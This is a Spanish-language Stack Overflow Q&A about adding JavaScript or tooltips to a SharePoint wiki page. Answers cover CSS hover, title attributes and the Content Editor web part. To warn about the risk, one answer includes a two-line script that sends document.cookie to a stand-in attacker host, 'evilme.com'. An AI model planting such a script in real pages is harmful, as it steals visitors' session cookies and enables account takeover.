Pregunta

¿Cómo puedo, como administrador del wiki, ingresar secuencias de comandos (Javascript) en una página wiki de Sharepoint?

Me gustaría introducir un título y, al hacer clic en él, aparecer debajo una pequeña explicación.Normalmente lo he hecho con javascript, ¿alguna otra idea?

¿Fue útil?

Solución

Suponiendo que sea el administrador de la wiki y esté dispuesto a mostrar esto al pasar el mouse en lugar de hacer clic, no necesita javascript en absoluto; puede usar CSS directo.A continuación se muestra un ejemplo de los estilos y el marcado:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
  "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
  <title>Test</title>
  <style type="text/css">
    h1 { padding-bottom: .5em; position: relative; }
    h1 span { font-weight: normal; font-size: small; position: absolute; bottom: 0; display: none; }
    h1:hover span { display: block; }
  </style>
</head>
<body>
  <h1>Here is the title!
    <span>Here is a little explanation</span>
  </h1>
  <p>Here is some page content</p>
</body>
</html>

Con algunos estilos más complicados, su cuadro de información sobre herramientas puede verse tan bien como desee.

Otros consejos

Si los autores de la wiki son prudentes, probablemente no haya forma de hacer esto.

El problema con el JavaScript aportado por el usuario es que abre la puerta a todo tipo de malhechores para apoderarse de datos de los desprevenidos.

Supongamos que evil-me publica un script en un sitio web público:

i = new Image();
i.src = 'http://evilme.com/store_cookie_data?c=' + document.cookie;

Ahora recibiré la información de las cookies de cada visitante de la página, publicada en un registro en mi servidor.Y eso es sólo la punta del iceberg.

Depende completamente del software Wiki específico que esté utilizando.La forma en que he visto que funciona es alojar un archivo js en otro lugar y luego incluirlo con una etiqueta de script con un atributo src.

Si no lo permiten, tal vez permitan un IFRAME que pueda configurar en una página que incluya el script.Con la segunda técnica, no se le permitirá acceder al DOM de la página de host.

Me gusta la respuesta CSS.Cuando puedes usar CSS en lugar de Javascript, el resultado es un marcado más simple.
Otra cosa a considerar es el kit comunitario para SharePoint Enhanced Wiki Edition en Codeplex.Puede descargar el código fuente y agregar sus propias funciones.O puedes sugerir esto como una nueva característica en el foro.

Eso suena como un riesgo para la seguridad.Parece que es posible que el administrador de la wiki instale scripts, consulte scripts de usuario de wikipedia.

Si estás hablando de usar Javascript como parte de una página web en este sitio, no puedes.O cualquier otro wiki público, es un riesgo para la seguridad.

Si está hablando de publicar un ejemplo de código, haga clic en el botón '101010' encima del cuadro de texto.

Por supuesto, dependerá del motor wiki con el que estés hablando.Sin embargo, lo más probable es que, como dice Sblundy, sería un riesgo para la seguridad permitir el uso gratuito de JavaScript en la página wiki.

No debería poder agregar código javascript para ningún wiki público.Si lo aloja usted mismo, deberá solicitar un sistema wiki específico para que alguien pueda ayudarle a modificar la configuración, si es posible para ese sistema.

Agregar title="text here" a cualquier etiqueta y debería mostrar un texto al pasar el cursor sobre ella.
Internet Explorer muestra el texto cuando utilizas el alt="text here" atributo, aunque eso no está de acuerdo con los estándares.

Lo probé ahora y puedes agregar <h2 title="some explanation here">headline</h2> a cualquier sistema basado en wikimedia (el que usa Wikipedia).

Utilice un elemento web de editor de contenido

Desde la cinta, seleccione Insert y elige Web Part.Desde el menú, vaya a Media and Content y elige Content Editor.En el menú desplegable del elemento web recién creado, elija Edit Web Part.Desde el menú de configuración del elemento web derecho, expanda Appearance y establecer Chrome Type a None.Hacer clic Click Here to Add Content en el elemento web y ubicar Edit HTML Source en la cinta.Puede utilizar HTML en esta área sin que sea desinfectado.

Nota:Si planea agregar comportamientos a muchos elementos de la página, es posible que desee cargar archivos .js en la Biblioteca de estilos e incluir solo los <script src="..."> etiqueta en el Editor de contenido.También es posible que desee considerar la posibilidad de utilizar un diseño de página o patrón personalizado.

Fuente: https://cobwwweb.com/how-to-run-javascript-on-sharepoint-pages

Licenciado bajo: CC-BY-SA con atribución
No afiliado a StackOverflow
scroll top